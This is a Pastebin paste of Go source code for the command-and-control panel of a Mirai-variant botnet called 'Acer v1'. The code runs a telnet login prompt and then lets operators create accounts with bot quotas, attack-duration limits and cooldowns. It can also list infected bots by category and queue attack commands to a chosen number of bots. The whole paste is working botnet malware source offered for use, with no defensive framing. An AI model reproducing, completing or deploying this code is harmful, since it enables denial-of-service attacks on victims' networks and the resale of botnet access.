Advertisement
Telnvt

[MIRAI] Acer V1 (Only cnc)

Sep 10th, 2019
384
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.81 KB | None | 0 0
  1. package main
  2.  
  3. import (
  4. "fmt"
  5. "net"
  6. "time"
  7. "strings"
  8. "strconv"
  9. )
  10.  
  11. type Admin struct {
  12. conn net.Conn
  13. }
  14.  
  15. func NewAdmin(conn net.Conn) *Admin {
  16. return &Admin{conn}
  17. }
  18.  
  19. func (this *Admin) Handle() {
  20. this.conn.Write([]byte("\033[?1049h"))
  21. this.conn.Write([]byte("\xFF\xFB\x01\xFF\xFB\x03\xFF\xFC\x22"))
  22.  
  23. defer func() {
  24. this.conn.Write([]byte("\033[?1049l"))
  25. }()
  26.  
  27. this.conn.Write([]byte("\033[2J\033[1;1H"))
  28. this.conn.SetDeadline(time.Now().Add(60 * time.Second))
  29. this.conn.Write([]byte("\033[31mUsername\033[31m:\033[1;37m"))
  30. username, err := this.ReadLine(false)
  31. if err != nil {
  32. return
  33. }
  34.  
  35. this.conn.SetDeadline(time.Now().Add(60 * time.Second))
  36. this.conn.Write([]byte("\033[31mPassword\033[31m:\033[1;37m"))
  37. password, err := this.ReadLine(true)
  38. if err != nil {
  39. return
  40. }
  41.  
  42. this.conn.SetDeadline(time.Now().Add(120 * time.Second))
  43. this.conn.Write([]byte("\r\n"))
  44.  
  45. var loggedIn bool
  46. var userInfo AccountInfo
  47. if loggedIn, userInfo = database.TryLogin(username, password); !loggedIn {
  48. this.conn.Write([]byte("\r\033[00;31mERROR\033[00;37m: Wrong Info!!\r\n"))
  49. buf := make([]byte, 1)
  50. this.conn.Read(buf)
  51. return
  52. }
  53.  
  54. this.conn.Write([]byte("\r\n\033[0m"))
  55. go func() {
  56. i := 0
  57. for {
  58. var BotCount int
  59. if clientList.Count() > userInfo.maxBots && userInfo.maxBots != -1 {
  60. BotCount = userInfo.maxBots
  61. } else {
  62. BotCount = clientList.Count()
  63. }
  64.  
  65. time.Sleep(time.Second)
  66. if _, err := this.conn.Write([]byte(fmt.Sprintf("\033]0; %d Aces | %s\007", BotCount, username))); err != nil {
  67. this.conn.Close()
  68. break
  69. }
  70. i++
  71. if i % 60 == 0 {
  72. this.conn.SetDeadline(time.Now().Add(120 * time.Second))
  73. }
  74. }
  75. }()
  76. spinBuf := []byte{'-', '\\', '|', '/'}
  77. for i := 0; i < 7; i++ {
  78. this.conn.Write([]byte("\033[2J\033[1;1H"))
  79. this.conn.Write(append([]byte("\r\033[31mLogging In.... \033[97m"), spinBuf[i % len(spinBuf)]))
  80. time.Sleep(time.Duration(300) * time.Millisecond)
  81. }
  82. this.conn.Write([]byte("\033[2J\033[1;1H"))
  83. this.conn.Write([]byte("\033[31m\r\n"))
  84. this.conn.Write([]byte("\033[31m \r\n"))
  85. this.conn.Write([]byte("\033[31m \r\n"))
  86. this.conn.Write([]byte("\033[97m 'I don't think I love you, my emotions aren't the same \r\n"))
  87. this.conn.Write([]byte("\033[97m I'd rather be alone than go hangout with some lames.' \r\n"))
  88. this.conn.Write([]byte("\033[97m \r\n"))
  89. this.conn.Write([]byte("\033[97m - Lil Skies \r\n"))
  90. this.conn.Write([]byte("\033[97m \r\n"))
  91. this.conn.Write([]byte("\033[97m \r\n"))
  92. this.conn.Write([]byte("\033[31m Welcome to acer. \r\n"))
  93. this.conn.Write([]byte("\033[31m type ? for help. \r\n"))
  94. this.conn.Write([]byte("\033[31m acer v1 by telnvt. \r\n"))
  95. this.conn.Write([]byte("\033[31m\r\n"))
  96. this.conn.Write([]byte("\033[31m\r\n"))
  97.  
  98.  
  99.  
  100. for {
  101. var botCatagory string
  102. var botCount int
  103. this.conn.Write([]byte("\033[97m"+username+"\x1b[31m@\033[97mAcer# \033[0m"))
  104. cmd, err := this.ReadLine(false)
  105.  
  106. if cmd == "clear" || cmd == "cls" || cmd == "c" {
  107.  
  108. this.conn.Write([]byte("\033[2J\033[1;1H"))
  109. this.conn.Write([]byte("\033[31m\r\n"))
  110. this.conn.Write([]byte("\033[31m \r\n"))
  111. this.conn.Write([]byte("\033[31m \r\n"))
  112. this.conn.Write([]byte("\033[97m 'I don't think I love you, my emotions aren't the same \r\n"))
  113. this.conn.Write([]byte("\033[97m I'd rather be alone than go hangout with some lames.' \r\n"))
  114. this.conn.Write([]byte("\033[97m \r\n"))
  115. this.conn.Write([]byte("\033[97m - Lil Skies \r\n"))
  116. this.conn.Write([]byte("\033[97m \r\n"))
  117. this.conn.Write([]byte("\033[97m \r\n"))
  118. this.conn.Write([]byte("\033[31m Welcome to acer. \r\n"))
  119. this.conn.Write([]byte("\033[31m type ? for help. \r\n"))
  120. this.conn.Write([]byte("\033[31m acer v1 by telnvt. \r\n"))
  121. this.conn.Write([]byte("\033[31m\r\n"))
  122. this.conn.Write([]byte("\033[31m\r\n"))
  123.  
  124.  
  125. continue
  126. }
  127. if err != nil || cmd == "exit" || cmd == "quit" {
  128. return
  129. }
  130.  
  131. if cmd == "" {
  132. continue
  133. }
  134.  
  135. botCount = userInfo.maxBots
  136.  
  137. if userInfo.admin == 1 && cmd == "adduser" {
  138. this.conn.Write([]byte("Enter new username: "))
  139. new_un, err := this.ReadLine(false)
  140. if err != nil {
  141. return
  142. }
  143. this.conn.Write([]byte("Enter new password: "))
  144. new_pw, err := this.ReadLine(false)
  145. if err != nil {
  146. return
  147. }
  148. this.conn.Write([]byte("Enter wanted bot count (-1 for full net): "))
  149. max_bots_str, err := this.ReadLine(false)
  150. if err != nil {
  151. return
  152. }
  153. max_bots, err := strconv.Atoi(max_bots_str)
  154. if err != nil {
  155. this.conn.Write([]byte(fmt.Sprintf("\033[97m%s\033[0m\r\n", "Failed to parse the bot count")))
  156. continue
  157. }
  158. this.conn.Write([]byte("Max attack duration (-1 for none): "))
  159. duration_str, err := this.ReadLine(false)
  160. if err != nil {
  161. return
  162. }
  163. duration, err := strconv.Atoi(duration_str)
  164. if err != nil {
  165. this.conn.Write([]byte(fmt.Sprintf("\033[97m%s\033[0m\r\n", "Failed to parse the attack duration limit")))
  166. continue
  167. }
  168. this.conn.Write([]byte("Cooldown time (0 for none): "))
  169. cooldown_str, err := this.ReadLine(false)
  170. if err != nil {
  171. return
  172. }
  173. cooldown, err := strconv.Atoi(cooldown_str)
  174. if err != nil {
  175. this.conn.Write([]byte(fmt.Sprintf("\033[97m%s\033[0m\r\n", "Failed to parse the cooldown")))
  176. continue
  177. }
  178. this.conn.Write([]byte("New account info: \r\nUsername: " + new_un + "\r\nPassword: " + new_pw + "\r\nBots: " + max_bots_str + "\r\nContinue? (y/N)"))
  179. confirm, err := this.ReadLine(false)
  180. if err != nil {
  181. return
  182. }
  183. if confirm != "y" {
  184. continue
  185. }
  186. if !database.CreateUser(new_un, new_pw, max_bots, duration, cooldown) {
  187. this.conn.Write([]byte(fmt.Sprintf("\033[97m%s\033[0m\r\n", "Failed to create new user. An unknown error occured.")))
  188. } else {
  189. this.conn.Write([]byte("\033[32;1mUser added successfully.\033[0m\r\n"))
  190. }
  191. continue
  192. }
  193.  
  194. if cmd == "bots" {
  195. botCount = clientList.Count()
  196. m := clientList.Distribution()
  197. for k, v := range m {
  198. this.conn.Write([]byte(fmt.Sprintf("\033[31m%s\033[97m:\033[31m\t%d\r\n", k, v)))
  199. }
  200. continue
  201. }
  202. if cmd[0] == '-' {
  203. countSplit := strings.SplitN(cmd, " ", 2)
  204. count := countSplit[0][1:]
  205. botCount, err = strconv.Atoi(count)
  206. if err != nil {
  207. this.conn.Write([]byte(fmt.Sprintf("\033[97mFailed to parse botcount \"%s\"\033[0m\r\n", count)))
  208. continue
  209. }
  210. if userInfo.maxBots != -1 && botCount > userInfo.maxBots {
  211. this.conn.Write([]byte(fmt.Sprintf("\033[97mBot count to send is bigger then allowed bot maximum\033[0m\r\n")))
  212. continue
  213. }
  214. cmd = countSplit[1]
  215. }
  216.  
  217. atk, err := NewAttack(cmd, userInfo.admin)
  218. if err != nil {
  219. this.conn.Write([]byte(fmt.Sprintf("\033[97m%s\033[0m\r\n", err.Error())))
  220. } else {
  221. buf, err := atk.Build()
  222. if err != nil {
  223. this.conn.Write([]byte(fmt.Sprintf("\033[97m%s\033[0m\r\n", err.Error())))
  224. } else {
  225. if can, err := database.CanLaunchAttack(username, atk.Duration, cmd, botCount, 0); !can {
  226. this.conn.Write([]byte(fmt.Sprintf("\033[97m%s\033[0m\r\n", err.Error())))
  227. } else if !database.ContainsWhitelistedTargets(atk) {
  228. clientList.QueueBuf(buf, botCount, botCatagory)
  229. } else {
  230. fmt.Println("Blocked attack by " + username + " to whitelisted prefix")
  231. }
  232. }
  233. }
  234. }
  235. }
  236.  
  237. func (this *Admin) ReadLine(masked bool) (string, error) {
  238. buf := make([]byte, 1024)
  239. bufPos := 0
  240.  
  241. for {
  242. n, err := this.conn.Read(buf[bufPos:bufPos+1])
  243. if err != nil || n != 1 {
  244. return "", err
  245. }
  246. if buf[bufPos] == '\xFF' {
  247. n, err := this.conn.Read(buf[bufPos:bufPos+2])
  248. if err != nil || n != 2 {
  249. return "", err
  250. }
  251. bufPos--
  252. } else if buf[bufPos] == '\x7F' || buf[bufPos] == '\x08' {
  253. if bufPos > 0 {
  254. this.conn.Write([]byte(string(buf[bufPos])))
  255. bufPos--
  256. }
  257. bufPos--
  258. } else if buf[bufPos] == '\r' || buf[bufPos] == '\t' || buf[bufPos] == '\x09' {
  259. bufPos--
  260. } else if buf[bufPos] == '\n' || buf[bufPos] == '\x00' {
  261. this.conn.Write([]byte("\r\n"))
  262. return string(buf[:bufPos]), nil
  263. } else if buf[bufPos] == 0x03 {
  264. this.conn.Write([]byte("^C\r\n"))
  265. return "", nil
  266. } else {
  267. if buf[bufPos] == '\x1B' {
  268. buf[bufPos] = '^';
  269. this.conn.Write([]byte(string(buf[bufPos])))
  270. bufPos++;
  271. buf[bufPos] = '[';
  272. this.conn.Write([]byte(string(buf[bufPos])))
  273. } else if masked {
  274. this.conn.Write([]byte("*"))
  275. } else {
  276. this.conn.Write([]byte(string(buf[bufPos])))
  277. }
  278. }
  279. bufPos++
  280. }
  281. return string(buf), nil
  282. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement